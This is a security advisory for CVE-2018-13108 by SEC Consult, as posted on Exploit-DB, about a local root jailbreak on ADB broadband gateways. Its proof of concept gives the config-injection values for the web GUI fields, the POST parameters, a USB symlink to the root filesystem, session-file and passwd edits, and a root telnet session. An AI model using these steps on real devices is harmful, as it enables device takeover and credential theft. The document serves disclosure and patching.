ADB Broadband Gateways / Routers - Local root Jailbreak

EDB-ID: 44983
Author: SEC Consult
Published: 2018-07-05
CVE: CVE-2018-13108
Type: Local
Platform: Hardware
Aliases: N/A
Advisory/Source: N/A
Tags: Local
Vulnerable App: N/A

 ======================================================================= 
title: Local root jailbreak via network file sharing flaw
product: All ADB Broadband Gateways / Routers
(based on Epicentro platform)
vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc.
fixed version: see "Solution" section below
CVE number: CVE-2018-13108
impact: critical
homepage: http://www.adbglobal.com
found: 2016-06-09
by: Johannes Greil (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"ADB creates and delivers the right solutions that enable our customers to
reduce integration and service delivery challenges to increase ARPU and reduce
churn. We combine ADB know-how and products with those from a number of third
party industry leaders to deliver complete solutions that benefit from
collaborative thinking and best in class technologies."

Source: https://www.adbglobal.com/about-adb/

"Founded in 1995, ADB initially focused on developing and marketing software
for digital TV processors and expanded its business to the design and
manufacture of digital TV equipment in 1997. The company sold its first set-top
box in 1997 and since then has been delivering a number of set-top boxes, and
Gateway devices, together with advanced software platforms. ADB has sold over
60 million devices worldwide to cable, satellite, IPTV and broadband operators.
ADB employs over 500 people, of which 70% are in engineering functions."

Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast

Business recommendation:
------------------------
By exploiting the local root vulnerability on affected and unpatched devices
an attacker is able to gain full access to the device with highest privileges.
Attackers are able to modify any settings that might have otherwise been
prohibited by the ISP. It is possible to retrieve all stored user credentials
(such as VoIP) or SSL private keys. Furthermore, attacks on the internal network
side of the ISP are possible by using the device as a jump host, depending on
the internal network security measures.

Network security should not depend on the security of independent devices,
such as modems. An attacker with root access to such a device can enable
attacks on connected networks, such as administrative networks managed by the
ISP or other users.

It is highly recommended by SEC Consult to perform a thorough security review
by security professionals for this platform. It is assumed that further critical
vulnerabilities exist within the firmware of this device.

Vulnerability overview/description:
-----------------------------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
Most ADB devices offer USB ports in order for customers to use them for
printer or file sharing. In the past, ADB devices have suffered from symlink
attacks e.g. via FTP server functionality which has been fixed in more recent
firmware versions.

The "Network File Sharing" feature of current ADB devices via USB uses a samba
daemon which accesses the USB drive with highest access rights and exports the
network shares with root user permissions. The default and hardcoded setting
for the samba daemon within the smb.conf on the device has set "wide links =
no" which normally disallows gaining access to the root file system of the
device using symlink attacks via a USB drive.

But an attacker is able to exploit both a web GUI input validation and samba
configuration file parsing problem which makes it possible to access the root
file system of the device with root access rights via a manipulated USB drive.

The attacker can then edit various system files, e.g. passwd and session
information of the web server in order to escalate web GUI privileges and
start a telnet server and gain full system level shell access as root.

This is a local attack and not possible via remote access vectors as an
attacker needs to insert a specially crafted USB drive into the device!
Usually not even the ISPs themselves have direct root access on ADB devices
hence this attack is quite problematic for further internal attacks.

It is possible to change network routes and attack networks and systems within
the internal network of the ISP or add backdoors or sniffers to the device.

Furthermore, attackers are able to gain access to all stored credentials,
such as PPP, wireless, CPE management or VoIP passwords.

Proof of concept:
-----------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
The samba configuration file (smb.conf) of the ADB devices has set the
following default settings. All file system operations will be performed
by the root user as set in the "force user" / "force group" setting of the
exported share:

[global]
netbios name = HOSTNAME
workgroup = WORKGROUP
wide links = no
smb ports = 445 139
security = share
guest account = root
announce version = 5.0
socket options = TCP_NODELAY SO_RCVBUF=65536 SO_SNDBUF=65536
null passwords = yes
name resolve order = hosts wins bcast
wins support = yes
syslog only = yes
read only = no
hosts allow = 192.168.1.1/255.255.255.0
[share]
path = /mnt/sdb1/.
read only = false
force user = root
force group = root
guest ok = yes

An attacker can edit various values such as "netbios name" and "workgroup" via
the web GUI. The web GUI does some basic filtering and newlines are
unfortunately not allowed (the samba config file is line-based) hence a
special bypass has been crafted in order to change the default setting "wide
links = no" to "wide links = yes". This enables symlinks to the root file
system.

By using the following netbios name and workgroup, samba can be tricked into
allowing symlinks to the root file system of the device:
netbios domain / workgroup = =wide links = yes \ netbios name = wide links = yes
Relevant HTTP POST parameters:
&domainName==wide links = yes \ \ &hostName=wide+links+%3D+yes+%5C

According to the manpage of smb.conf, any line ending in a \ is continued by the
samba parser on the next line. Furthermore, it states that "Only the first
equals sign in a parameter is significant." - which it seems can be bypassed
by adding a backslash \. The parser now thinks that the "wide links = yes" has
been set and omits the hardcoded "wide links = no" which comes further down
below in the smb.conf file.

In order to add those special values within the web GUI a proxy server such as
burp proxy is needed because of basic input validation on the client side (not
server side).

The USB drive needs to be formatted to ext2 or ext3 which is supported by
the ADB device. Then create a symlink to the root file system via the
following command on the attacker's computer:
ln -s / /path/to/usbdevice/rootfs

After those settings have been changed and the USB drive has been set up,
the USB drive can be inserted into the ADB device. The USB volume needs to be
exported (with read/write permissions) as a share via the web GUI. Afterwards
it can be accessed over the network and the "rootfs" folder example from above
will give an attacker access to the ADB root file system with "read & write"
access permissions as root.

Most file systems / partitions on the device are mounted read-only per default,
but the most important one "/tmp" contains all settings and is mounted writable
for operations.

The defaut user "admin" usually has little access rights during normal
operations which can be changed by manipulating the session file of the web
server within /tmp/ui_session_XXX where XXX is the session id of the currently
logged on user, e.g. change:
from: access.dboard/settings/management/telnetserver =|> 2001
to: access.dboard/settings/management/telnetserver =|> 2220
etc. (or change all entries for maximum access level)

This way, an attacker can give himself all/highest access permissions within
the GUI and change all the settings of the device! Hence the telnet or SSH
server can be started even though they might have been disabled by the ISP.
Furthermore, the /tmp/passwd file has to be changed in order to allow root
access via shell/telnet:
change: root:*:0:0:root:/root:/bin/ash
to: root::0:0:root:/root:/bin/ash

Now telnet into the device with root and no password.
Example of an ADB DV2210 device:

Trying $IP...
Connected to $IP.
Escape character is '^]'.
Login root:

BusyBox v1.17.3 (2016-02-11 13:34:33 CET) built-in shell (ash)
Enter 'help' for a list of built-in commands.

___ ___ ___ ___
|\__\ /\ \ /\ \ /\ |:| | /::\ \ /::\ \ /::\ |:| | /:/\:\ \ /:/\:\ \ /:/\:\ |:|__|__ /::\~\:\ \ /::\~\:\ \ _\:\~\:\ /::::\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \:\__ /:/~~/~ \/__\:\/:/ / \/__\:\/:/ / \:\ \:\ \/__/
/:/ / \::/ / \::/ / \:\ \:\__ \/__/ /:/ / \/__/ \:\/:/ /
/:/ / \::/ /
\/__/ \/__/
..................................................................
yet another purposeful solution by A D B Broadband
..................................................................
[email protected]$hostname:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]$hostname:~#

Vulnerable / tested versions:
-----------------------------
The following devices & firmware have been tested which were the most recent
versions at the time of discovery.

The firmware versions depend on the ISP / customer of ADB and may vary!

ADB P.RG AV4202N - E_3.3.0, latest firmware version, depending on ISP
ADB DV 2210 - E_5.3.0, latest firmware version, depending on ISP
ADB VV 5522 - E_8.3.0, latest firmware version, depending on ISP
ADB VV 2220 - E_9.0.6, latest firmware version, depending on ISP
etc.

It has been confirmed by ADB that _all_ their ADB modems / gateways / routers
based on the Epicentro platform with USB ports and network file sharing
features are affected by this vulnerability in all firmware versions for all
their customers (ISPs) at the time of identification of the vulnerability.

Vendor contact timeline:
------------------------
2016-06-15: Contacting vendor ADB, exchanging encryption keys & advisory
Asking about affected devices / firmware, timeline for hotfix
Fast initial response from ADB providing requested information
2016-06-16: Asking about other affected devices
2016-06-17: Resending previous question due to encryption problems
2016-07-04: Conference call
2016-07 - 2017-04: Further coordination, waiting for firmware release,
implementation & rollout phases for their customers
2018-07-04: Embargo lifted, public release of security advisory

Solution:
---------
The firmware versions depend on the ISP / customer of ADB and may vary!

Patch version:

ADB P.RG AV4202N >= E_3.3.2, firmware version depending on ISP
ADB DV2210 >= E_5.3.2, firmware version depending on ISP
ADB VV5522 >= E_8.3.2, firmware version depending on ISP
ADB VV2220 >= E_9.3.2, firmware version depending on ISP

Centro Business 1 >= 7.12.10
Centro Business 2 >= 8.06.08

etc.

Workaround:
-----------
Restrict access to the web interface and only allow trusted users.
Change any default/weak passwords to strong credentials.
Don't allow remote access to the web GUI via Internet.

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
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Vulnerability Lab supports high-quality penetration testing and the evaluation
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recommendation about the risk profile of new technologies.

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EOF J. Greil / @2018

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